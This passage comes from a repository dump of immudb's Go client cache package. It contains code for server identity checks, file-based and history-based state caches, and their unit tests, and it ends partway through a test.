    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/rogpeppe/go-internal/lockedfile\"\n)\n\nconst (\n\tIDENTITY_FN       = \".identity-\"\n\tidentityHashBytes = 16\n)\n\nfunc getFilenameForServerIdentity(serverIdentity, identityDir string) string {\n\tidentityHashRaw := sha256.Sum256([]byte(serverIdentity))\n\tidentityHash := base64.RawURLEncoding.EncodeToString(identityHashRaw[:identityHashBytes])\n\treturn filepath.Join(identityDir, IDENTITY_FN+identityHash)\n}\n\nfunc validateServerIdentityInFile(serverIdentity string, serverUUID string, identityDir string) error {\n\n\tidentityFile := getFilenameForServerIdentity(serverIdentity, identityDir)\n\n\tfl, err := lockedfile.OpenFile(identityFile, os.O_RDWR|os.O_CREATE, 0655)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not check the identity of the server '%s' in file '%s': %w\", serverIdentity, identityFile, err)\n\t}\n\tdefer fl.Close()\n\n\tidentityDataJson := struct {\n\t\tServerUUID     string `json:\"serverUUID\"`\n\t\tServerIdentity string `json:\"serverIdentity\"`\n\t}{}\n\n\tstat, err := fl.Stat()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not check the identity of the server '%s' in file '%s': %w\", serverIdentity, identityFile, err)\n\t}\n\n\tif stat.Size() == 0 {\n\t\t// File is empty - which may mean that it was just created,\n\t\t// write the new identity data\n\t\tidentityDataJson.ServerUUID = serverUUID\n\t\tidentityDataJson.ServerIdentity = serverIdentity\n\n\t\tenc := json.NewEncoder(fl)\n\t\tenc.SetIndent(\"\", \"\\t\")\n\n\t\terr := enc.Encode(&identityDataJson)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not store the identity of the server '%s' in file '%s': %w\", serverIdentity, identityFile, err)\n\t\t}\n\n\t\terr = fl.Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not store the identity of the server '%s' in file '%s': %w\", serverIdentity, identityFile, err)\n\t\t}\n\n\t\treturn nil\n\t}\n\n\t// File exists and is not empty, check if the server UUID matches\n\t// what is already stored in the file.\n\terr = json.NewDecoder(fl).Decode(&identityDataJson)\n\tif err != nil {\n\t\treturn fmt.Errorf(\n\t\t\t\"could not check the identity of the server '%s' in file '%s': %w, \"+\n\t\t\t\t\"if you still want to connect to a different immudb server instance with the same identity, \"+\n\t\t\t\t\"please remove the identity file\",\n\t\t\tserverIdentity,\n\t\t\tidentityFile,\n\t\t\terr,\n\t\t)\n\t}\n\n\tif identityDataJson.ServerUUID != serverUUID {\n\t\treturn fmt.Errorf(\n\t\t\t\"could not check the identity of the server '%s' in file '%s': %w, \"+\n\t\t\t\t\"if you still want to connect to a different immudb server instance with the same identity, \"+\n\t\t\t\t\"please remove the identity file\",\n\t\t\tserverIdentity,\n\t\t\tidentityFile,\n\t\t\tErrServerIdentityValidationFailed,\n\t\t)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/client/cache/common_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"encoding/json\"\n\t\"io/ioutil\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestValidateServerIdentityInFile(t *testing.T) {\n\tidentityDir := t.TempDir()\n\n\tt.Run(\"creating new identity files must not fail\", func(t *testing.T) {\n\t\terr := validateServerIdentityInFile(\"identity1\", \"uuid1\", identityDir)\n\t\trequire.NoError(t, err)\n\n\t\terr = validateServerIdentityInFile(\"identity2\", \"uuid2\", identityDir)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"validating server identity for already known server must not fail\", func(t *testing.T) {\n\t\terr := validateServerIdentityInFile(\"identity1\", \"uuid1\", identityDir)\n\t\trequire.NoError(t, err)\n\n\t\terr = validateServerIdentityInFile(\"identity2\", \"uuid2\", identityDir)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"validating server identity for wrong server must fail\", func(t *testing.T) {\n\t\terr := validateServerIdentityInFile(\"identity1\", \"uuid2\", identityDir)\n\t\trequire.ErrorIs(t, err, ErrServerIdentityValidationFailed)\n\n\t\terr = validateServerIdentityInFile(\"identity2\", \"uuid1\", identityDir)\n\t\trequire.ErrorIs(t, err, ErrServerIdentityValidationFailed)\n\t})\n\n}\n\nfunc TestValidateServerIdentityInFileCornerCases(t *testing.T) {\n\tt.Run(\"fail to validate identity file with invalid path\", func(t *testing.T) {\n\t\terr := validateServerIdentityInFile(\"identity1\", \"uuid1\", \"/invalid/folder/name?\")\n\t\trequire.ErrorContains(t, err, \"could not check the identity of the server\")\n\t\t// This is not validation error, it's some OS error\n\t\trequire.NotErrorIs(t, err, ErrServerIdentityValidationFailed)\n\t})\n\n\tt.Run(\"fail to validate identity file with broken content\", func(t *testing.T) {\n\t\tidentityDir := t.TempDir()\n\n\t\terr := ioutil.WriteFile(\n\t\t\tgetFilenameForServerIdentity(\"identity1\", identityDir),\n\t\t\t[]byte(\"this is not a json content!!!\"),\n\t\t\t0644,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\terr = validateServerIdentityInFile(\"identity1\", \"uuid1\", identityDir)\n\t\tvar jsonError *json.SyntaxError\n\t\trequire.ErrorAs(t, err, &jsonError)\n\t\trequire.NotErrorIs(t, err, ErrServerIdentityValidationFailed)\n\t})\n}\n"
  },
  {
    "path": "pkg/client/cache/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport \"errors\"\n\nvar (\n\tErrPrevStateNotFound   = errors.New(\"could not find previous state\")\n\tErrLocalStateCorrupted = errors.New(\"local state is corrupted\")\n\tErrNotImplemented      = errors.New(\"no implemented\")\n)\n"
  },
  {
    "path": "pkg/client/cache/file_cache.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"github.com/rogpeppe/go-internal/lockedfile\"\n)\n\n// STATE_FN ...\nconst STATE_FN = \".state-\"\n\ntype fileCache struct {\n\tDir       string\n\tstateFile *lockedfile.File\n}\n\n// NewFileCache returns a new file cache\nfunc NewFileCache(dir string) Cache {\n\treturn &fileCache{Dir: dir}\n}\n\nfunc (w *fileCache) Get(serverUUID string, db string) (*schema.ImmutableState, error) {\n\tif w.stateFile == nil {\n\t\treturn nil, ErrCacheNotLocked\n\t}\n\t_, err := w.stateFile.Seek(0, io.SeekStart)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tscanner := bufio.NewScanner(w.stateFile)\n\tscanner.Split(bufio.ScanLines)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tif !strings.HasPrefix(line, db+\":\") {\n\t\t\tcontinue\n\t\t}\n\n\t\toldState, err := base64.StdEncoding.DecodeString(line[len(db)+1:])\n\t\tif err != nil {\n\t\t\treturn nil, ErrLocalStateCorrupted\n\t\t}\n\n\t\tif len(oldState) == 0 {\n\t\t\treturn nil, ErrLocalStateCorrupted\n\t\t}\n\n\t\tstate := &schema.ImmutableState{}\n\t\tif err = proto.Unmarshal(oldState, state); err != nil {\n\t\t\treturn nil, ErrLocalStateCorrupted\n\t\t}\n\n\t\treturn state, nil\n\t}\n\treturn nil, ErrPrevStateNotFound\n}\n\nfunc (w *fileCache) Set(serverUUID string, db string, state *schema.ImmutableState) error {\n\tif w.stateFile == nil {\n\t\treturn ErrCacheNotLocked\n\t}\n\traw, err := proto.Marshal(state)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnewState := db + \":\" + base64.StdEncoding.EncodeToString(raw)\n\n\tvar exists bool\n\t_, err = w.stateFile.Seek(0, io.SeekStart)\n\tif err != nil {\n\t\treturn err\n\t}\n\tscanner := bufio.NewScanner(w.stateFile)\n\tscanner.Split(bufio.ScanLines)\n\tvar lines [][]byte\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tif strings.HasPrefix(line, db+\":\") {\n\t\t\texists = true\n\t\t\tlines = append(lines, []byte(newState))\n\t\t} else {\n\t\t\tlines = append(lines, []byte(line))\n\t\t}\n\t}\n\tif !exists {\n\t\tlines = append(lines, []byte(newState))\n\t}\n\toutput := bytes.Join(lines, []byte(\"\\n\"))\n\n\t_, err = w.stateFile.Seek(0, io.SeekStart)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = w.stateFile.Truncate(0)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.stateFile.Write(output)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (w *fileCache) Lock(serverUUID string) (err error) {\n\tw.stateFile, err = lockedfile.OpenFile(w.getStateFilePath(serverUUID), os.O_RDWR|os.O_CREATE, 0655)\n\treturn err\n}\n\nfunc (w *fileCache) Unlock() (err error) {\n\tif w.stateFile != nil {\n\t\treturn w.stateFile.Close()\n\t}\n\treturn nil\n}\n\nfunc (w *fileCache) ServerIdentityCheck(serverIdentity, serverUUID string) error {\n\treturn validateServerIdentityInFile(\n\t\tserverIdentity,\n\t\tserverUUID,\n\t\tw.Dir,\n\t)\n}\n\nfunc (w *fileCache) getStateFilePath(UUID string) string {\n\treturn filepath.Join(w.Dir, STATE_FN+UUID)\n}\n"
  },
  {
    "path": "pkg/client/cache/file_cache_test.go",
    "content": "package cache\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewFileCache(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tfc := NewFileCache(dirname)\n\trequire.IsType(t, &fileCache{}, fc)\n}\n\nfunc TestFileCacheSetErrorNotLocked(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tfc := NewFileCache(dirname)\n\terr := fc.Set(\"uuid\", \"dbName\", &schema.ImmutableState{\n\t\tTxId:      0,\n\t\tTxHash:    []byte(`hash`),\n\t\tSignature: nil,\n\t})\n\trequire.ErrorIs(t, err, ErrCacheNotLocked)\n}\n\nfunc TestFileCacheSet(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tfc := NewFileCache(dirname)\n\terr := fc.Lock(\"uuid\")\n\trequire.NoError(t, err)\n\tdefer fc.Unlock()\n\n\terr = fc.Set(\"uuid\", \"dbName\", &schema.ImmutableState{\n\t\tTxId:      0,\n\t\tTxHash:    []byte(`hash`),\n\t\tSignature: nil,\n\t})\n\trequire.NoError(t, err)\n}\n\nfunc TestFileCacheGet(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tfc := NewFileCache(dirname)\n\terr := fc.Lock(\"uuid\")\n\trequire.NoError(t, err)\n\tdefer fc.Unlock()\n\n\terr = fc.Set(\"uuid\", \"dbName\", &schema.ImmutableState{\n\t\tTxId:      0,\n\t\tTxHash:    []byte(`hash`),\n\t\tSignature: nil,\n\t})\n\trequire.NoError(t, err)\n\n\tst, err := fc.Get(\"uuid\", \"dbName\")\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, []byte(`hash`), st.TxHash)\n}\n\nfunc TestFileCacheGetFailNotLocked(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tfc := NewFileCache(dirname)\n\t_, err := fc.Get(\"uuid\", \"dbName\")\n\n\trequire.ErrorIs(t, err, ErrCacheNotLocked)\n}\n\nfunc TestFileCacheGetSingleLineError(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tdbName := \"dbt\"\n\n\terr := ioutil.WriteFile(dirname+\"/.state-test\", []byte(dbName+\":\"), 0666)\n\trequire.NoError(t, err)\n\n\tfc := NewFileCache(dirname)\n\terr = fc.Lock(\"test\")\n\trequire.NoError(t, err)\n\tdefer fc.Unlock()\n\n\t_, err = fc.Get(\"test\", dbName)\n\trequire.ErrorIs(t, err, ErrLocalStateCorrupted)\n}\n\nfunc TestFileCacheGetRootUnableToDecodeErr(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tdbName := \"dbt\"\n\n\terr := ioutil.WriteFile(dirname+\"/.state-test\", []byte(dbName+\":firstLine\"), 0666)\n\trequire.NoError(t, err)\n\n\tfc := NewFileCache(dirname)\n\terr = fc.Lock(\"test\")\n\trequire.NoError(t, err)\n\tdefer fc.Unlock()\n\n\t_, err = fc.Get(\"test\", dbName)\n\trequire.ErrorIs(t, err, ErrLocalStateCorrupted)\n}\n\nfunc TestFileCacheGetRootUnmarshalErr(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tdbName := \"dbt\"\n\n\terr := ioutil.WriteFile(dirname+\"/.state-test\", []byte(dbName+\":\"+base64.StdEncoding.EncodeToString([]byte(\"wrong-content\"))), 0666)\n\trequire.NoError(t, err)\n\n\tfc := NewFileCache(dirname)\n\terr = fc.Lock(\"test\")\n\trequire.NoError(t, err)\n\tdefer fc.Unlock()\n\n\t_, err = fc.Get(\"test\", dbName)\n\trequire.ErrorIs(t, err, ErrLocalStateCorrupted)\n}\n\nfunc TestFileCacheGetEmptyFile(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tdbName := \"dbt\"\n\n\terr := ioutil.WriteFile(dirname+\"/.state-test\", []byte(\"\"), 0666)\n\trequire.NoError(t, err)\n\n\tfc := NewFileCache(dirname)\n\terr = fc.Lock(\"test\")\n\trequire.NoError(t, err)\n\tdefer fc.Unlock()\n\n\t_, err = fc.Get(\"test\", dbName)\n\trequire.ErrorIs(t, err, ErrPrevStateNotFound)\n}\n\nfunc TestFileCacheOverwriteHash(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tfc := NewFileCache(dirname)\n\terr := fc.Lock(\"test\")\n\trequire.NoError(t, err)\n\tdefer fc.Unlock()\n\n\terr = fc.Set(\"test\", \"db1\", &schema.ImmutableState{TxHash: []byte(\"hash1\")})\n\trequire.NoError(t, err)\n\n\tst, err := fc.Get(\"test\", \"db1\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"hash1\"), st.TxHash)\n\n\terr = fc.Set(\"test\", \"db1\", &schema.ImmutableState{TxHash: []byte(\"hash2\")})\n\trequire.NoError(t, err)\n\n\tst, err = fc.Get(\"test\", \"db1\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"hash2\"), st.TxHash)\n}\n\nfunc TestFileCacheMultipleDatabases(t *testing.T) {\n\tdirname := t.TempDir()\n\n\tfc := NewFileCache(dirname)\n\terr := fc.Lock(\"test\")\n\trequire.NoError(t, err)\n\tdefer fc.Unlock()\n\n\tfor i := 0; i < 1000; i++ {\n\n\t\tdb := fmt.Sprintf(\"db%d\", i)\n\t\thash := []byte(fmt.Sprintf(\"hash%d\", i))\n\n\t\terr = fc.Set(\"test\", db, &schema.ImmutableState{TxHash: hash})\n\t\trequire.NoError(t, err)\n\n\t\tst, err := fc.Get(\"test\", db)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, hash, st.TxHash)\n\t}\n\n\tfor i := 0; i < 1000; i++ {\n\t\tdb := fmt.Sprintf(\"db%d\", i)\n\t\thash := []byte(fmt.Sprintf(\"hash%d\", i))\n\n\t\tst, err := fc.Get(\"test\", db)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, hash, st.TxHash)\n\t}\n}\n"
  },
  {
    "path": "pkg/client/cache/history_file_cache.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/proto\"\n)\n\ntype historyFileCache struct {\n\tdir string\n}\n\n// NewHistoryFileCache returns a new history file cache\nfunc NewHistoryFileCache(dir string) HistoryCache {\n\treturn &historyFileCache{dir: dir}\n}\n\nfunc (history *historyFileCache) Get(serverUUID, db string) (*schema.ImmutableState, error) {\n\tstatesDir := filepath.Join(history.dir, serverUUID)\n\tstatesFileInfos, err := history.getStatesFileInfos(statesDir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(statesFileInfos) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tprevStateFileName := statesFileInfos[len(statesFileInfos)-1].Name()\n\tprevStateFilePath := filepath.Join(statesDir, prevStateFileName)\n\treturn history.unmarshalRoot(prevStateFilePath, db)\n}\n\nfunc (history *historyFileCache) Walk(\n\tserverUUID string, databasename string,\n\tf func(*schema.ImmutableState) interface{},\n) ([]interface{}, error) {\n\tstatesDir := filepath.Join(history.dir, serverUUID)\n\tstatesFileInfos, err := history.getStatesFileInfos(statesDir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(statesFileInfos) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tresults := make([]interface{}, 0, len(statesFileInfos))\n\n\tfor _, stateFileInfo := range statesFileInfos {\n\t\tstateFilePath := filepath.Join(statesDir, stateFileInfo.Name())\n\t\tstate, err := history.unmarshalRoot(stateFilePath, databasename)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresults = append(results, f(state))\n\t}\n\n\treturn results, nil\n}\n\nfunc (history *historyFileCache) Set(serverUUID, db string, state *schema.ImmutableState) error {\n\tstatesDir := filepath.Join(history.dir, serverUUID)\n\tif err := os.MkdirAll(statesDir, os.ModePerm); err != nil {\n\t\treturn fmt.Errorf(\"error ensuring states dir %s exists: %v\", statesDir, err)\n\t}\n\tstateFilePath := filepath.Join(statesDir, \".state\")\n\n\t//at run first the file does not exist\n\tinput, _ := ioutil.ReadFile(stateFilePath)\n\n\tlines := strings.Split(string(input), \"\\n\")\n\traw, err := proto.Marshal(state)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnewState := db + \":\" + base64.StdEncoding.EncodeToString(raw) + \"\\n\"\n\tvar exists bool\n\tfor i, line := range lines {\n\t\tif strings.Contains(line, db+\":\") {\n\t\t\texists = true\n\t\t\tlines[i] = newState\n\t\t}\n\t}\n\tif !exists {\n\t\tlines = append(lines, newState)\n\t}\n\n\toutput := strings.Join(lines, \"\\n\")\n\n\tif err = ioutil.WriteFile(stateFilePath, []byte(output), 0644); err != nil {\n\t\treturn fmt.Errorf(\"error writing state %d to file %s: %v\", state.TxId, stateFilePath, err)\n\t}\n\n\treturn nil\n}\n\nfunc (history *historyFileCache) getStatesFileInfos(dir string) ([]os.FileInfo, error) {\n\tif err := os.MkdirAll(dir, os.ModePerm); err != nil {\n\t\treturn nil, fmt.Errorf(\"error ensuring states dir %s exists: %v\", dir, err)\n\t}\n\n\tstatesFileInfos, err := ioutil.ReadDir(dir)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading states dir %s: %v\", dir, err)\n\t}\n\n\treturn statesFileInfos, nil\n}\n\nfunc (history *historyFileCache) unmarshalRoot(fpath string, db string) (*schema.ImmutableState, error) {\n\tstate := &schema.ImmutableState{}\n\traw, err := ioutil.ReadFile(fpath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading state from %s: %v\", fpath, err)\n\t}\n\n\tlines := strings.Split(string(raw), \"\\n\")\n\tfor _, line := range lines {\n\t\tif strings.Contains(line, db+\":\") {\n\t\t\tr := strings.Split(line, \":\")\n\n\t\t\tif r[1] == \"\" {\n\t\t\t\treturn nil, ErrPrevStateNotFound\n\t\t\t}\n\n\t\t\toldRoot, err := base64.StdEncoding.DecodeString(r[1])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, ErrPrevStateNotFound\n\t\t\t}\n\n\t\t\tif err = proto.Unmarshal(oldRoot, state); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error unmarshaling state from %s: %v\", fpath, err)\n\t\t\t}\n\t\t\treturn state, nil\n\t\t}\n\t}\n\n\treturn nil, nil\n}\n\nfunc (history *historyFileCache) Lock(serverUUID string) (err error) {\n\treturn fmt.Errorf(\"not implemented\")\n}\n\nfunc (history *historyFileCache) Unlock() (err error) {\n\treturn fmt.Errorf(\"not implemented\")\n}\n\nfunc (history *historyFileCache) ServerIdentityCheck(serverIdentity, serverUUID string) error {\n\treturn validateServerIdentityInFile(\n\t\tserverIdentity,\n\t\tserverUUID,\n\t\thistory.dir,\n\t)\n}\n"
  },
  {
    "path": "pkg/client/cache/history_file_cache_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"encoding/base64\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/golang/protobuf/proto\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nfunc TestNewHistoryFileCache(t *testing.T) {\n\tdir := t.TempDir()\n\n\tfc := NewHistoryFileCache(dir)\n\trequire.IsType(t, &historyFileCache{}, fc)\n\n\trequire.Error(t, fc.Lock(\"foo\"))\n\trequire.Error(t, fc.Unlock())\n\n\terr := fc.ServerIdentityCheck(\"identity1\", \"uuid2\")\n\trequire.NoError(t, err)\n}\n\nfunc TestNewHistoryFileCacheSet(t *testing.T) {\n\tdir := t.TempDir()\n\n\tfc := NewHistoryFileCache(dir)\n\n\terr := fc.Set(\"uuid\", \"dbName\", &schema.ImmutableState{TxId: 1, TxHash: []byte{1}})\n\trequire.NoError(t, err)\n\n\terr = fc.Set(\"uuid\", \"dbName\", &schema.ImmutableState{TxId: 2, TxHash: []byte{2}})\n\trequire.NoError(t, err)\n\n\troot, err := fc.Get(\"uuid\", \"dbName\")\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.ImmutableState{}, root)\n\n\t_, err = fc.Get(\"uuid1\", \"dbName\")\n\trequire.NoError(t, err)\n}\n\nfunc TestNewHistoryFileCacheGet(t *testing.T) {\n\tdir := t.TempDir()\n\n\tfc := NewHistoryFileCache(dir)\n\n\troot, err := fc.Get(\"uuid\", \"dbName\")\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.ImmutableState{}, root)\n}\n\nfunc TestNewHistoryFileCacheWalk(t *testing.T) {\n\tdir := t.TempDir()\n\n\tfc := NewHistoryFileCache(dir)\n\n\tiface, err := fc.Walk(\"uuid\", \"dbName\", func(root *schema.ImmutableState) interface{} {\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n\trequire.IsType(t, []interface{}{interface{}(nil)}, iface)\n\n\terr = fc.Set(\"uuid\", \"dbName\", &schema.ImmutableState{\n\t\tTxId:      0,\n\t\tTxHash:    []byte(`hash`),\n\t\tSignature: nil,\n\t})\n\trequire.NoError(t, err)\n\n\tiface, err = fc.Walk(\"uuid\", \"dbName\", func(root *schema.ImmutableState) interface{} {\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n\trequire.IsType(t, []interface{}{interface{}(nil)}, iface)\n}\n\nfunc TestHistoryFileCache_SetError(t *testing.T) {\n\tdir := t.TempDir()\n\n\tfc := NewHistoryFileCache(dir)\n\n\terr := fc.Set(\"uuid\", \"dbName\", nil)\n\trequire.ErrorIs(t, err, proto.ErrNil)\n}\n\nfunc TestHistoryFileCache_GetError(t *testing.T) {\n\tdir := t.TempDir()\n\n\tfc := NewHistoryFileCache(dir)\n\n\t// create a dummy file so that the cache can't create the directory\n\t// automatically\n\terr := ioutil.WriteFile(filepath.Join(dir, \"exists\"), []byte(\"data\"), 0644)\n\trequire.NoError(t, err)\n\t_, err = fc.Get(\"exists\", \"dbName\")\n\trequire.ErrorContains(t, err, \"exists\")\n}\n\nfunc TestHistoryFileCache_SetMissingFolder(t *testing.T) {\n\tdir := \"/notExists\"\n\tfc := NewHistoryFileCache(dir)\n\tdefer os.RemoveAll(dir)\n\n\terr := fc.Set(\"uuid\", \"dbName\", nil)\n\trequire.ErrorContains(t, err, \"error ensuring states dir\")\n}\n\nfunc TestHistoryFileCache_WalkFolderNotExistsCreated(t *testing.T) {\n\tdir := t.TempDir()\n\n\tnotExists := filepath.Join(dir, \"not-exists\")\n\tfc := NewHistoryFileCache(notExists)\n\n\t_, err := fc.Walk(\"uuid\", \"dbName\", func(root *schema.ImmutableState) interface{} {\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n}\n\nfunc TestHistoryFileCache_getStatesFileInfosError(t *testing.T) {\n\tdir := t.TempDir()\n\n\tnotExists := filepath.Join(dir, \"does-not-exist\")\n\tfc := &historyFileCache{dir: notExists}\n\t_, err := fc.getStatesFileInfos(dir)\n\trequire.NoError(t, err)\n}\n\nfunc TestHistoryFileCache_unmarshalRootErr(t *testing.T) {\n\tfc := &historyFileCache{}\n\t_, err := fc.unmarshalRoot(\"path\", \"db\")\n\trequire.ErrorContains(t, err, \"error reading state from\")\n}\n\nfunc TestHistoryFileCache_unmarshalRootSingleLineErr(t *testing.T) {\n\tdbName := \"dbt\"\n\ttmpFile, err := ioutil.TempFile(os.TempDir(), \"file-state\")\n\trequire.NoError(t, err, \"Cannot create temporary file\")\n\tdefer os.Remove(tmpFile.Name())\n\tif _, err = tmpFile.Write([]byte(dbName + \":\")); err != nil {\n\t\tlog.Fatal(\"Failed to write to temporary file\", err)\n\t}\n\tfc := &historyFileCache{}\n\t_, err = fc.unmarshalRoot(tmpFile.Name(), dbName)\n\trequire.ErrorIs(t, err, ErrPrevStateNotFound)\n}\n\nfunc TestHistoryFileCache_unmarshalRootUnableToDecodeErr(t *testing.T) {\n\tdbName := \"dbt\"\n\ttmpFile, err := ioutil.TempFile(os.TempDir(), \"file-state\")\n\trequire.NoError(t, err, \"Cannot create temporary file\")\n\tdefer os.Remove(tmpFile.Name())\n\tif _, err = tmpFile.Write([]byte(dbName + \":firstLine\")); err != nil {\n\t\tlog.Fatal(\"Failed to write to temporary file\", err)\n\t}\n\tfc := &historyFileCache{}\n\t_, err = fc.unmarshalRoot(tmpFile.Name(), dbName)\n\trequire.ErrorIs(t, err, ErrPrevStateNotFound)\n}\n\nfunc TestHistoryFileCache_unmarshalRootUnmarshalErr(t *testing.T) {\n\tdbName := \"dbt\"\n\ttmpFile, err := ioutil.TempFile(os.TempDir(), \"file-state\")\n\trequire.NoError(t, err, \"Cannot create temporary file\")\n\tdefer os.Remove(tmpFile.Name())\n\tif _, err = tmpFile.Write([]byte(dbName + \":\" + base64.StdEncoding.EncodeToString([]byte(\"wrong-content\")))); err != nil {\n\t\tlog.Fatal(\"Failed to write to temporary file\", err)\n\t}\n\tfc := &historyFileCache{}\n\t_, err = fc.unmarshalRoot(tmpFile.Name(), dbName)\n\trequire.ErrorContains(t, err, \"error unmarshaling state from\")\n}\n\nfunc TestHistoryFileCache_unmarshalRootEmptyFile(t *testing.T) {\n\ttmpFile, err := ioutil.TempFile(os.TempDir(), \"file-state\")\n\trequire.NoError(t, err, \"Cannot create temporary file\")\n\tdefer os.Remove(tmpFile.Name())\n\ttext := []byte(\"\")\n\tif _, err = tmpFile.Write(text); err != nil {\n\t\tlog.Fatal(\"Failed to write to temporary file\", err)\n\t}\n\tfc := &historyFileCache{}\n\tstate, err 